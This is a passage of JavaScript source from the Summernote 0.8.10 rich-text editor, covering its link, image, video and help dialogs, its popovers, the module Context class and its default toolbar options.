}).render().appendTo($container); }; LinkDialog.prototype.destroy = function () { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); }; LinkDialog.prototype.bindEnterKey = function ($input, $btn) { $input.on('keypress', function (event) { if (event.keyCode === key.code.ENTER) { event.preventDefault(); $btn.trigger('click'); } }); }; /** * toggle update button */ LinkDialog.prototype.toggleLinkBtn = function ($linkBtn, $linkText, $linkUrl) { this.ui.toggleBtn($linkBtn, $linkText.val() && $linkUrl.val()); }; /** * Show link dialog and set event handlers on dialog controls. * * @param {Object} linkInfo * @return {Promise} */ LinkDialog.prototype.showLinkDialog = function (linkInfo) { var _this = this; return $$1.Deferred(function (deferred) { var $linkText = _this.$dialog.find('.note-link-text'); var $linkUrl = _this.$dialog.find('.note-link-url'); var $linkBtn = _this.$dialog.find('.note-link-btn'); var $openInNewWindow = _this.$dialog.find('input[type=checkbox]'); _this.ui.onDialogShown(_this.$dialog, function () { _this.context.triggerEvent('dialog.shown'); // if no url was given, copy text to url if (!linkInfo.url) { linkInfo.url = linkInfo.text; } $linkText.val(linkInfo.text); var handleLinkTextUpdate = function () { _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl); // if linktext was modified by keyup, // stop cloning text from linkUrl linkInfo.text = $linkText.val(); }; $linkText.on('input', handleLinkTextUpdate).on('paste', function () { setTimeout(handleLinkTextUpdate, 0); }); var handleLinkUrlUpdate = function () { _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl); // display same link on `Text to display` input // when create a new link if (!linkInfo.text) { $linkText.val($linkUrl.val()); } }; $linkUrl.on('input', handleLinkUrlUpdate).on('paste', function () { setTimeout(handleLinkUrlUpdate, 0); }).val(linkInfo.url); if (!env.isSupportTouch) { $linkUrl.trigger('focus'); } _this.toggleLinkBtn($linkBtn, $linkText, $linkUrl); _this.bindEnterKey($linkUrl, $linkBtn); _this.bindEnterKey($linkText, $linkBtn); var isChecked = linkInfo.isNewWindow !== undefined ? linkInfo.isNewWindow : _this.context.options.linkTargetBlank; $openInNewWindow.prop('checked', isChecked); $linkBtn.one('click', function (event) { event.preventDefault(); deferred.resolve({ range: linkInfo.range, url: $linkUrl.val(), text: $linkText.val(), isNewWindow: $openInNewWindow.is(':checked') }); _this.ui.hideDialog(_this.$dialog); }); }); _this.ui.onDialogHidden(_this.$dialog, function () { // detach events $linkText.off('input paste keypress'); $linkUrl.off('input paste keypress'); $linkBtn.off('click'); if (deferred.state() === 'pending') { deferred.reject(); } }); _this.ui.showDialog(_this.$dialog); }).promise(); }; /** * @param {Object} layoutInfo */ LinkDialog.prototype.show = function () { var _this = this; var linkInfo = this.context.invoke('editor.getLinkInfo'); this.context.invoke('editor.saveRange'); this.showLinkDialog(linkInfo).then(function (linkInfo) { _this.context.invoke('editor.restoreRange'); _this.context.invoke('editor.createLink', linkInfo); }).fail(function () { _this.context.invoke('editor.restoreRange'); }); }; return LinkDialog; }()); var LinkPopover = /** @class */ (function () { function LinkPopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.options = context.options; this.events = { 'summernote.keyup summernote.mouseup summernote.change summernote.scroll': function () { _this.update(); }, 'summernote.disable summernote.dialog.shown': function () { _this.hide(); } }; } LinkPopover.prototype.shouldInitialize = function () { return !lists.isEmpty(this.options.popover.link); }; LinkPopover.prototype.initialize = function () { this.$popover = this.ui.popover({ className: 'note-link-popover', callback: function ($node) { var $content = $node.find('.popover-content,.note-popover-content'); $content.prepend('<span><a target="_blank"></a> </span>'); } }).render().appendTo(this.options.container); var $content = this.$popover.find('.popover-content,.note-popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.link); }; LinkPopover.prototype.destroy = function () { this.$popover.remove(); }; LinkPopover.prototype.update = function () { // Prevent focusing on editable when invoke('code') is executed if (!this.context.invoke('editor.hasFocus')) { this.hide(); return; } var rng = this.context.invoke('editor.createRange'); if (rng.isCollapsed() && rng.isOnAnchor()) { var anchor = dom.ancestor(rng.sc, dom.isAnchor); var href = $$1(anchor).attr('href'); this.$popover.find('a').attr('href', href).html(href); var pos = dom.posFromPlaceholder(anchor); this.$popover.css({ display: 'block', left: pos.left, top: pos.top }); } else { this.hide(); } }; LinkPopover.prototype.hide = function () { this.$popover.hide(); }; return LinkPopover; }()); var ImageDialog = /** @class */ (function () { function ImageDialog(context) { this.context = context; this.ui = $$1.summernote.ui; this.$body = $$1(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; } ImageDialog.prototype.initialize = function () { var $container = this.options.dialogsInBody ? this.$body : this.$editor; var imageLimitation = ''; if (this.options.maximumImageFileSize) { var unit = Math.floor(Math.log(this.options.maximumImageFileSize) / Math.log(1024)); var readableSize = (this.options.maximumImageFileSize / Math.pow(1024, unit)).toFixed(2) * 1 + ' ' + ' KMGTP'[unit] + 'B'; imageLimitation = "<small>" + (this.lang.image.maximumFileSize + ' : ' + readableSize) + "</small>"; } var body = [ '<div class="form-group note-form-group note-group-select-from-files">', '<label class="note-form-label">' + this.lang.image.selectFromFiles + '</label>', '<input class="note-image-input note-form-control note-input" ', ' type="file" name="files" accept="image/*" multiple="multiple" />', imageLimitation, '</div>', '<div class="form-group note-group-image-url" style="overflow:auto;">', '<label class="note-form-label">' + this.lang.image.url + '</label>', '<input class="note-image-url form-control note-form-control note-input ', ' col-md-12" type="text" />', '</div>' ].join(''); var buttonClass = 'btn btn-primary note-btn note-btn-primary note-image-btn'; var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.image.insert + "</button>"; this.$dialog = this.ui.dialog({ title: this.lang.image.insert, fade: this.options.dialogsFade, body: body, footer: footer }).render().appendTo($container); }; ImageDialog.prototype.destroy = function () { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); }; ImageDialog.prototype.bindEnterKey = function ($input, $btn) { $input.on('keypress', function (event) { if (event.keyCode === key.code.ENTER) { event.preventDefault(); $btn.trigger('click'); } }); }; ImageDialog.prototype.show = function () { var _this = this; this.context.invoke('editor.saveRange'); this.showImageDialog().then(function (data) { // [workaround] hide dialog before restore range for IE range focus _this.ui.hideDialog(_this.$dialog); _this.context.invoke('editor.restoreRange'); if (typeof data === 'string') { _this.context.invoke('editor.insertImage', data); } else { _this.context.invoke('editor.insertImagesOrCallback', data); } }).fail(function () { _this.context.invoke('editor.restoreRange'); }); }; /** * show image dialog * * @param {jQuery} $dialog * @return {Promise} */ ImageDialog.prototype.showImageDialog = function () { var _this = this; return $$1.Deferred(function (deferred) { var $imageInput = _this.$dialog.find('.note-image-input'); var $imageUrl = _this.$dialog.find('.note-image-url'); var $imageBtn = _this.$dialog.find('.note-image-btn'); _this.ui.onDialogShown(_this.$dialog, function () { _this.context.triggerEvent('dialog.shown'); // Cloning imageInput to clear element. $imageInput.replaceWith($imageInput.clone().on('change', function (event) { deferred.resolve(event.target.files || event.target.value); }).val('')); $imageBtn.click(function (event) { event.preventDefault(); deferred.resolve($imageUrl.val()); }); $imageUrl.on('keyup paste', function () { var url = $imageUrl.val(); _this.ui.toggleBtn($imageBtn, url); }).val(''); if (!env.isSupportTouch) { $imageUrl.trigger('focus'); } _this.bindEnterKey($imageUrl, $imageBtn); }); _this.ui.onDialogHidden(_this.$dialog, function () { $imageInput.off('change'); $imageUrl.off('keyup paste keypress'); $imageBtn.off('click'); if (deferred.state() === 'pending') { deferred.reject(); } }); _this.ui.showDialog(_this.$dialog); }); }; return ImageDialog; }()); /** * Image popover module * mouse events that show/hide popover will be handled by Handle.js. * Handle.js will receive the events and invoke 'imagePopover.update'. */ var ImagePopover = /** @class */ (function () { function ImagePopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.editable = context.layoutInfo.editable[0]; this.options = context.options; this.events = { 'summernote.disable': function () { _this.hide(); } }; } ImagePopover.prototype.shouldInitialize = function () { return !lists.isEmpty(this.options.popover.image); }; ImagePopover.prototype.initialize = function () { this.$popover = this.ui.popover({ className: 'note-image-popover' }).render().appendTo(this.options.container); var $content = this.$popover.find('.popover-content,.note-popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.image); }; ImagePopover.prototype.destroy = function () { this.$popover.remove(); }; ImagePopover.prototype.update = function (target) { if (dom.isImg(target)) { var pos = dom.posFromPlaceholder(target); var posEditor = dom.posFromPlaceholder(this.editable); this.$popover.css({ display: 'block', left: this.options.popatmouse ? event.pageX - 20 : pos.left, top: this.options.popatmouse ? event.pageY : Math.min(pos.top, posEditor.top) }); } else { this.hide(); } }; ImagePopover.prototype.hide = function () { this.$popover.hide(); }; return ImagePopover; }()); var TablePopover = /** @class */ (function () { function TablePopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.options = context.options; this.events = { 'summernote.mousedown': function (we, e) { _this.update(e.target); }, 'summernote.keyup summernote.scroll summernote.change': function () { _this.update(); }, 'summernote.disable': function () { _this.hide(); } }; } TablePopover.prototype.shouldInitialize = function () { return !lists.isEmpty(this.options.popover.table); }; TablePopover.prototype.initialize = function () { this.$popover = this.ui.popover({ className: 'note-table-popover' }).render().appendTo(this.options.container); var $content = this.$popover.find('.popover-content,.note-popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.table); // [workaround] Disable Firefox's default table editor if (env.isFF) { document.execCommand('enableInlineTableEditing', false, false); } }; TablePopover.prototype.destroy = function () { this.$popover.remove(); }; TablePopover.prototype.update = function (target) { if (this.context.isDisabled()) { return false; } var isCell = dom.isCell(target); if (isCell) { var pos = dom.posFromPlaceholder(target); this.$popover.css({ display: 'block', left: pos.left, top: pos.top }); } else { this.hide(); } return isCell; }; TablePopover.prototype.hide = function () { this.$popover.hide(); }; return TablePopover; }()); var VideoDialog = /** @class */ (function () { function VideoDialog(context) { this.context = context; this.ui = $$1.summernote.ui; this.$body = $$1(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; } VideoDialog.prototype.initialize = function () { var $container = this.options.dialogsInBody ? this.$body : this.$editor; var body = [ '<div class="form-group note-form-group row-fluid">', "<label class=\"note-form-label\">" + this.lang.video.url + " <small class=\"text-muted\">" + this.lang.video.providers + "</small></label>", '<input class="note-video-url form-control note-form-control note-input" type="text" />', '</div>' ].join(''); var buttonClass = 'btn btn-primary note-btn note-btn-primary note-video-btn'; var footer = "<button type=\"submit\" href=\"#\" class=\"" + buttonClass + "\" disabled>" + this.lang.video.insert + "</button>"; this.$dialog = this.ui.dialog({ title: this.lang.video.insert, fade: this.options.dialogsFade, body: body, footer: footer }).render().appendTo($container); }; VideoDialog.prototype.destroy = function () { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); }; VideoDialog.prototype.bindEnterKey = function ($input, $btn) { $input.on('keypress', function (event) { if (event.keyCode === key.code.ENTER) { event.preventDefault(); $btn.trigger('click'); } }); }; VideoDialog.prototype.createVideoNode = function (url) { // video url patterns(youtube, instagram, vimeo, dailymotion, youku, mp4, ogg, webm) var ytRegExp = /^(?:https?:\/\/)?(?:www\.)?(?:youtu\.be\/|youtube\.com\/(?:embed\/|v\/|watch\?v=|watch\?.+&v=))((\w|-){11})(?:\S+)?$/; var ytMatch = url.match(ytRegExp); var igRegExp = /(?:www\.|\/\/)instagram\.com\/p\/(.[a-zA-Z0-9_-]*)/; var igMatch = url.match(igRegExp); var vRegExp = /\/\/vine\.co\/v\/([a-zA-Z0-9]+)/; var vMatch = url.match(vRegExp); var vimRegExp = /\/\/(player\.)?vimeo\.com\/([a-z]*\/)*(\d+)[?]?.*/; var vimMatch = url.match(vimRegExp); var dmRegExp = /.+dailymotion.com\/(video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/; var dmMatch = url.match(dmRegExp); var youkuRegExp = /\/\/v\.youku\.com\/v_show\/id_(\w+)=*\.html/; var youkuMatch = url.match(youkuRegExp); var qqRegExp = /\/\/v\.qq\.com.*?vid=(.+)/; var qqMatch = url.match(qqRegExp); var qqRegExp2 = /\/\/v\.qq\.com\/x?\/?(page|cover).*?\/([^\/]+)\.html\??.*/; var qqMatch2 = url.match(qqRegExp2); var mp4RegExp = /^.+.(mp4|m4v)$/; var mp4Match = url.match(mp4RegExp); var oggRegExp = /^.+.(ogg|ogv)$/; var oggMatch = url.match(oggRegExp); var webmRegExp = /^.+.(webm)$/; var webmMatch = url.match(webmRegExp); var $video; if (ytMatch && ytMatch[1].length === 11) { var youtubeId = ytMatch[1]; $video = $$1('<iframe>') .attr('frameborder', 0) .attr('src', '//www.youtube.com/embed/' + youtubeId) .attr('width', '640').attr('height', '360'); } else if (igMatch && igMatch[0].length) { $video = $$1('<iframe>') .attr('frameborder', 0) .attr('src', 'https://instagram.com/p/' + igMatch[1] + '/embed/') .attr('width', '612').attr('height', '710') .attr('scrolling', 'no') .attr('allowtransparency', 'true'); } else if (vMatch && vMatch[0].length) { $video = $$1('<iframe>') .attr('frameborder', 0) .attr('src', vMatch[0] + '/embed/simple') .attr('width', '600').attr('height', '600') .attr('class', 'vine-embed'); } else if (vimMatch && vimMatch[3].length) { $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>') .attr('frameborder', 0) .attr('src', '//player.vimeo.com/video/' + vimMatch[3]) .attr('width', '640').attr('height', '360'); } else if (dmMatch && dmMatch[2].length) { $video = $$1('<iframe>') .attr('frameborder', 0) .attr('src', '//www.dailymotion.com/embed/video/' + dmMatch[2]) .attr('width', '640').attr('height', '360'); } else if (youkuMatch && youkuMatch[1].length) { $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>') .attr('frameborder', 0) .attr('height', '498') .attr('width', '510') .attr('src', '//player.youku.com/embed/' + youkuMatch[1]); } else if ((qqMatch && qqMatch[1].length) || (qqMatch2 && qqMatch2[2].length)) { var vid = ((qqMatch && qqMatch[1].length) ? qqMatch[1] : qqMatch2[2]); $video = $$1('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>') .attr('frameborder', 0) .attr('height', '310') .attr('width', '500') .attr('src', 'http://v.qq.com/iframe/player.html?vid=' + vid + '&auto=0'); } else if (mp4Match || oggMatch || webmMatch) { $video = $$1('<video controls>') .attr('src', url) .attr('width', '640').attr('height', '360'); } else { // this is not a known video link. Now what, Cat? Now what? return false; } $video.addClass('note-video-clip'); return $video[0]; }; VideoDialog.prototype.show = function () { var _this = this; var text = this.context.invoke('editor.getSelectedText'); this.context.invoke('editor.saveRange'); this.showVideoDialog(text).then(function (url) { // [workaround] hide dialog before restore range for IE range focus _this.ui.hideDialog(_this.$dialog); _this.context.invoke('editor.restoreRange'); // build node var $node = _this.createVideoNode(url); if ($node) { // insert video node _this.context.invoke('editor.insertNode', $node); } }).fail(function () { _this.context.invoke('editor.restoreRange'); }); }; /** * show image dialog * * @param {jQuery} $dialog * @return {Promise} */ VideoDialog.prototype.showVideoDialog = function (text) { var _this = this; return $$1.Deferred(function (deferred) { var $videoUrl = _this.$dialog.find('.note-video-url'); var $videoBtn = _this.$dialog.find('.note-video-btn'); _this.ui.onDialogShown(_this.$dialog, function () { _this.context.triggerEvent('dialog.shown'); $videoUrl.val(text).on('input', function () { _this.ui.toggleBtn($videoBtn, $videoUrl.val()); }); if (!env.isSupportTouch) { $videoUrl.trigger('focus'); } $videoBtn.click(function (event) { event.preventDefault(); deferred.resolve($videoUrl.val()); }); _this.bindEnterKey($videoUrl, $videoBtn); }); _this.ui.onDialogHidden(_this.$dialog, function () { $videoUrl.off('input'); $videoBtn.off('click'); if (deferred.state() === 'pending') { deferred.reject(); } }); _this.ui.showDialog(_this.$dialog); }); }; return VideoDialog; }()); var HelpDialog = /** @class */ (function () { function HelpDialog(context) { this.context = context; this.ui = $$1.summernote.ui; this.$body = $$1(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; } HelpDialog.prototype.initialize = function () { var $container = this.options.dialogsInBody ? this.$body : this.$editor; var body = [ '<p class="text-center">', '<a href="http://summernote.org/" target="_blank">Summernote 0.8.10</a> · ', '<a href="https://github.com/summernote/summernote" target="_blank">Project</a> · ', '<a href="https://github.com/summernote/summernote/issues" target="_blank">Issues</a>', '</p>' ].join(''); this.$dialog = this.ui.dialog({ title: this.lang.options.help, fade: this.options.dialogsFade, body: this.createShortcutList(), footer: body, callback: function ($node) { $node.find('.modal-body,.note-modal-body').css({ 'max-height': 300, 'overflow': 'scroll' }); } }).render().appendTo($container); }; HelpDialog.prototype.destroy = function () { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); }; HelpDialog.prototype.createShortcutList = function () { var _this = this; var keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc']; return Object.keys(keyMap).map(function (key) { var command = keyMap[key]; var $row = $$1('<div><div class="help-list-item"/></div>'); $row.append($$1('<label><kbd>' + key + '</kdb></label>').css({ 'width': 180, 'margin-right': 10 })).append($$1('<span/>').html(_this.context.memo('help.' + command) || command)); return $row.html(); }).join(''); }; /** * show help dialog * * @return {Promise} */ HelpDialog.prototype.showHelpDialog = function () { var _this = this; return $$1.Deferred(function (deferred) { _this.ui.onDialogShown(_this.$dialog, function () { _this.context.triggerEvent('dialog.shown'); deferred.resolve(); }); _this.ui.showDialog(_this.$dialog); }).promise(); }; HelpDialog.prototype.show = function () { var _this = this; this.context.invoke('editor.saveRange'); this.showHelpDialog().then(function () { _this.context.invoke('editor.restoreRange'); }); }; return HelpDialog; }()); var AIR_MODE_POPOVER_X_OFFSET = 20; var AirPopover = /** @class */ (function () { function AirPopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.options = context.options; this.events = { 'summernote.keyup summernote.mouseup summernote.scroll': function () { _this.update(); }, 'summernote.disable summernote.change summernote.dialog.shown': function () { _this.hide(); }, 'summernote.focusout': function (we, e) { // [workaround] Firefox doesn't support relatedTarget on focusout // - Ignore hide action on focus out in FF. if (env.isFF) { return; } if (!e.relatedTarget || !dom.ancestor(e.relatedTarget, func.eq(_this.$popover[0]))) { _this.hide(); } } }; } AirPopover.prototype.shouldInitialize = function () { return this.options.airMode && !lists.isEmpty(this.options.popover.air); }; AirPopover.prototype.initialize = function () { this.$popover = this.ui.popover({ className: 'note-air-popover' }).render().appendTo(this.options.container); var $content = this.$popover.find('.popover-content'); this.context.invoke('buttons.build', $content, this.options.popover.air); }; AirPopover.prototype.destroy = function () { this.$popover.remove(); }; AirPopover.prototype.update = function () { var styleInfo = this.context.invoke('editor.currentStyle'); if (styleInfo.range && !styleInfo.range.isCollapsed()) { var rect = lists.last(styleInfo.range.getClientRects()); if (rect) { var bnd = func.rect2bnd(rect); this.$popover.css({ display: 'block', left: Math.max(bnd.left + bnd.width / 2, 0) - AIR_MODE_POPOVER_X_OFFSET, top: bnd.top + bnd.height }); this.context.invoke('buttons.updateCurrentStyle', this.$popover); } } else { this.hide(); } }; AirPopover.prototype.hide = function () { this.$popover.hide(); }; return AirPopover; }()); var POPOVER_DIST = 5; var HintPopover = /** @class */ (function () { function HintPopover(context) { var _this = this; this.context = context; this.ui = $$1.summernote.ui; this.$editable = context.layoutInfo.editable; this.options = context.options; this.hint = this.options.hint || []; this.direction = this.options.hintDirection || 'bottom'; this.hints = $$1.isArray(this.hint) ? this.hint : [this.hint]; this.events = { 'summernote.keyup': function (we, e) { if (!e.isDefaultPrevented()) { _this.handleKeyup(e); } }, 'summernote.keydown': function (we, e) { _this.handleKeydown(e); }, 'summernote.disable summernote.dialog.shown': function () { _this.hide(); } }; } HintPopover.prototype.shouldInitialize = function () { return this.hints.length > 0; }; HintPopover.prototype.initialize = function () { var _this = this; this.lastWordRange = null; this.$popover = this.ui.popover({ className: 'note-hint-popover', hideArrow: true, direction: '' }).render().appendTo(this.options.container); this.$popover.hide(); this.$content = this.$popover.find('.popover-content,.note-popover-content'); this.$content.on('click', '.note-hint-item', function () { _this.$content.find('.active').removeClass('active'); $$1(_this).addClass('active'); _this.replace(); }); }; HintPopover.prototype.destroy = function () { this.$popover.remove(); }; HintPopover.prototype.selectItem = function ($item) { this.$content.find('.active').removeClass('active'); $item.addClass('active'); this.$content[0].scrollTop = $item[0].offsetTop - (this.$content.innerHeight() / 2); }; HintPopover.prototype.moveDown = function () { var $current = this.$content.find('.note-hint-item.active'); var $next = $current.next(); if ($next.length) { this.selectItem($next); } else { var $nextGroup = $current.parent().next(); if (!$nextGroup.length) { $nextGroup = this.$content.find('.note-hint-group').first(); } this.selectItem($nextGroup.find('.note-hint-item').first()); } }; HintPopover.prototype.moveUp = function () { var $current = this.$content.find('.note-hint-item.active'); var $prev = $current.prev(); if ($prev.length) { this.selectItem($prev); } else { var $prevGroup = $current.parent().prev(); if (!$prevGroup.length) { $prevGroup = this.$content.find('.note-hint-group').last(); } this.selectItem($prevGroup.find('.note-hint-item').last()); } }; HintPopover.prototype.replace = function () { var $item = this.$content.find('.note-hint-item.active'); if ($item.length) { var node = this.nodeFromItem($item); // XXX: consider to move codes to editor for recording redo/undo. this.lastWordRange.insertNode(node); range.createFromNode(node).collapse().select(); this.lastWordRange = null; this.hide(); this.context.triggerEvent('change', this.$editable.html(), this.$editable[0]); this.context.invoke('editor.focus'); } }; HintPopover.prototype.nodeFromItem = function ($item) { var hint = this.hints[$item.data('index')]; var item = $item.data('item'); var node = hint.content ? hint.content(item) : item; if (typeof node === 'string') { node = dom.createText(node); } return node; }; HintPopover.prototype.createItemTemplates = function (hintIdx, items) { var hint = this.hints[hintIdx]; return items.map(function (item, idx) { var $item = $$1('<div class="note-hint-item"/>'); $item.append(hint.template ? hint.template(item) : item + ''); $item.data({ 'index': hintIdx, 'item': item }); return $item; }); }; HintPopover.prototype.handleKeydown = function (e) { if (!this.$popover.is(':visible')) { return; } if (e.keyCode === key.code.ENTER) { e.preventDefault(); this.replace(); } else if (e.keyCode === key.code.UP) { e.preventDefault(); this.moveUp(); } else if (e.keyCode === key.code.DOWN) { e.preventDefault(); this.moveDown(); } }; HintPopover.prototype.searchKeyword = function (index, keyword, callback) { var hint = this.hints[index]; if (hint && hint.match.test(keyword) && hint.search) { var matches = hint.match.exec(keyword); hint.search(matches[1], callback); } else { callback(); } }; HintPopover.prototype.createGroup = function (idx, keyword) { var _this = this; var $group = $$1('<div class="note-hint-group note-hint-group-' + idx + '"/>'); this.searchKeyword(idx, keyword, function (items) { items = items || []; if (items.length) { $group.html(_this.createItemTemplates(idx, items)); _this.show(); } }); return $group; }; HintPopover.prototype.handleKeyup = function (e) { var _this = this; if (!lists.contains([key.code.ENTER, key.code.UP, key.code.DOWN], e.keyCode)) { var wordRange = this.context.invoke('editor.createRange').getWordRange(); var keyword_1 = wordRange.toString(); if (this.hints.length && keyword_1) { this.$content.empty(); var bnd = func.rect2bnd(lists.last(wordRange.getClientRects())); if (bnd) { this.$popover.hide(); this.lastWordRange = wordRange; this.hints.forEach(function (hint, idx) { if (hint.match.test(keyword_1)) { _this.createGroup(idx, keyword_1).appendTo(_this.$content); } }); // select first .note-hint-item this.$content.find('.note-hint-item:first').addClass('active'); // set position for popover after group is created if (this.direction === 'top') { this.$popover.css({ left: bnd.left, top: bnd.top - this.$popover.outerHeight() - POPOVER_DIST }); } else { this.$popover.css({ left: bnd.left, top: bnd.top + bnd.height + POPOVER_DIST }); } } } else { this.hide(); } } }; HintPopover.prototype.show = function () { this.$popover.show(); }; HintPopover.prototype.hide = function () { this.$popover.hide(); }; return HintPopover; }()); var Context = /** @class */ (function () { /** * @param {jQuery} $note * @param {Object} options */ function Context($note, options) { this.ui = $$1.summernote.ui; this.$note = $note; this.memos = {}; this.modules = {}; this.layoutInfo = {}; this.options = options; this.initialize(); } /** * create layout and initialize modules and other resources */ Context.prototype.initialize = function () { this.layoutInfo = this.ui.createLayout(this.$note, this.options); this._initialize(); this.$note.hide(); return this; }; /** * destroy modules and other resources and remove layout */ Context.prototype.destroy = function () { this._destroy(); this.$note.removeData('summernote'); this.ui.removeLayout(this.$note, this.layoutInfo); }; /** * destory modules and other resources and initialize it again */ Context.prototype.reset = function () { var disabled = this.isDisabled(); this.code(dom.emptyPara); this._destroy(); this._initialize(); if (disabled) { this.disable(); } }; Context.prototype._initialize = function () { var _this = this; // add optional buttons var buttons = $$1.extend({}, this.options.buttons); Object.keys(buttons).forEach(function (key) { _this.memo('button.' + key, buttons[key]); }); var modules = $$1.extend({}, this.options.modules, $$1.summernote.plugins || {}); // add and initialize modules Object.keys(modules).forEach(function (key) { _this.module(key, modules[key], true); }); Object.keys(this.modules).forEach(function (key) { _this.initializeModule(key); }); }; Context.prototype._destroy = function () { var _this = this; // destroy modules with reversed order Object.keys(this.modules).reverse().forEach(function (key) { _this.removeModule(key); }); Object.keys(this.memos).forEach(function (key) { _this.removeMemo(key); }); // trigger custom onDestroy callback this.triggerEvent('destroy', this); }; Context.prototype.code = function (html) { var isActivated = this.invoke('codeview.isActivated'); if (html === undefined) { this.invoke('codeview.sync'); return isActivated ? this.layoutInfo.codable.val() : this.layoutInfo.editable.html(); } else { if (isActivated) { this.layoutInfo.codable.val(html); } else { this.layoutInfo.editable.html(html); } this.$note.val(html); this.triggerEvent('change', html); } }; Context.prototype.isDisabled = function () { return this.layoutInfo.editable.attr('contenteditable') === 'false'; }; Context.prototype.enable = function () { this.layoutInfo.editable.attr('contenteditable', true); this.invoke('toolbar.activate', true); this.triggerEvent('disable', false); }; Context.prototype.disable = function () { // close codeview if codeview is opend if (this.invoke('codeview.isActivated')) { this.invoke('codeview.deactivate'); } this.layoutInfo.editable.attr('contenteditable', false); this.invoke('toolbar.deactivate', true); this.triggerEvent('disable', true); }; Context.prototype.triggerEvent = function () { var namespace = lists.head(arguments); var args = lists.tail(lists.from(arguments)); var callback = this.options.callbacks[func.namespaceToCamel(namespace, 'on')]; if (callback) { callback.apply(this.$note[0], args); } this.$note.trigger('summernote.' + namespace, args); }; Context.prototype.initializeModule = function (key) { var module = this.modules[key]; module.shouldInitialize = module.shouldInitialize || func.ok; if (!module.shouldInitialize()) { return; } // initialize module if (module.initialize) { module.initialize(); } // attach events if (module.events) { dom.attachEvents(this.$note, module.events); } }; Context.prototype.module = function (key, ModuleClass, withoutIntialize) { if (arguments.length === 1) { return this.modules[key]; } this.modules[key] = new ModuleClass(this); if (!withoutIntialize) { this.initializeModule(key); } }; Context.prototype.removeModule = function (key) { var module = this.modules[key]; if (module.shouldInitialize()) { if (module.events) { dom.detachEvents(this.$note, module.events); } if (module.destroy) { module.destroy(); } } delete this.modules[key]; }; Context.prototype.memo = function (key, obj) { if (arguments.length === 1) { return this.memos[key]; } this.memos[key] = obj; }; Context.prototype.removeMemo = function (key) { if (this.memos[key] && this.memos[key].destroy) { this.memos[key].destroy(); } delete this.memos[key]; }; /** * Some buttons need to change their visual style immediately once they get pressed */ Context.prototype.createInvokeHandlerAndUpdateState = function (namespace, value) { var _this = this; return function (event) { _this.createInvokeHandler(namespace, value)(event); _this.invoke('buttons.updateCurrentStyle'); }; }; Context.prototype.createInvokeHandler = function (namespace, value) { var _this = this; return function (event) { event.preventDefault(); var $target = $$1(event.target); _this.invoke(namespace, value || $target.closest('[data-value]').data('value'), $target); }; }; Context.prototype.invoke = function () { var namespace = lists.head(arguments); var args = lists.tail(lists.from(arguments)); var splits = namespace.split('.'); var hasSeparator = splits.length > 1; var moduleName = hasSeparator && lists.head(splits); var methodName = hasSeparator ? lists.last(splits) : lists.head(splits); var module = this.modules[moduleName || 'editor']; if (!moduleName && this[methodName]) { return this[methodName].apply(this, args); } else if (module && module[methodName] && module.shouldInitialize()) { return module[methodName].apply(module, args); } }; return Context; }()); $$1.fn.extend({ /** * Summernote API * * @param {Object|String} * @return {this} */ summernote: function () { var type = $$1.type(lists.head(arguments)); var isExternalAPICalled = type === 'string'; var hasInitOptions = type === 'object'; var options = $$1.extend({}, $$1.summernote.options, hasInitOptions ? lists.head(arguments) : {}); // Update options options.langInfo = $$1.extend(true, {}, $$1.summernote.lang['en-US'], $$1.summernote.lang[options.lang]); options.icons = $$1.extend(true, {}, $$1.summernote.options.icons, options.icons); options.tooltip = options.tooltip === 'auto' ? !env.isSupportTouch : options.tooltip; this.each(function (idx, note) { var $note = $$1(note); if (!$note.data('summernote')) { var context = new Context($note, options); $note.data('summernote', context); $note.data('summernote').triggerEvent('init', context.layoutInfo); } }); var $note = this.first(); if ($note.length) { var context = $note.data('summernote'); if (isExternalAPICalled) { return context.invoke.apply(context, lists.from(arguments)); } else if (options.focus) { context.invoke('editor.focus'); } } return this; } }); $$1.summernote = $$1.extend($$1.summernote, { version: '0.8.10', ui: ui, dom: dom, plugins: {}, options: { modules: { 'editor': Editor, 'clipboard': Clipboard, 'dropzone': Dropzone, 'codeview': CodeView, 'statusbar': Statusbar, 'fullscreen': Fullscreen, 'handle': Handle, // FIXME: HintPopover must be front of autolink // - Script error about range when Enter key is pressed on hint popover 'hintPopover': HintPopover, 'autoLink': AutoLink, 'autoSync': AutoSync, 'placeholder': Placeholder, 'buttons': Buttons, 'toolbar': Toolbar, 'linkDialog': LinkDialog, 'linkPopover': LinkPopover, 'imageDialog': ImageDialog, 'imagePopover': ImagePopover, 'tablePopover': TablePopover, 'videoDialog': VideoDialog, 'helpDialog': HelpDialog, 'airPopover': AirPopover }, buttons: {}, lang: 'en-US', followingToolbar: true, otherStaticBar: '', // toolbar toolbar: [ ['style', ['style']], ['font', ['bold', 'underline', 'clear']], ['fontname', ['fontname']], ['color', ['color']], ['para', ['ul', 'ol', 'paragraph']], ['table', ['table']], ['insert', ['link', 'picture', 'video']], ['view', ['fullscreen', 'codeview', 'help']] ], // popover popatmouse: true, popover: { image: [ ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']], ['float', ['floatLeft', 'floatRight', 'floatNone']], ['remove', ['removeMedia']] ], link: [ ['link', ['linkDialogShow', 'unlink']] ], table: [ ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']], 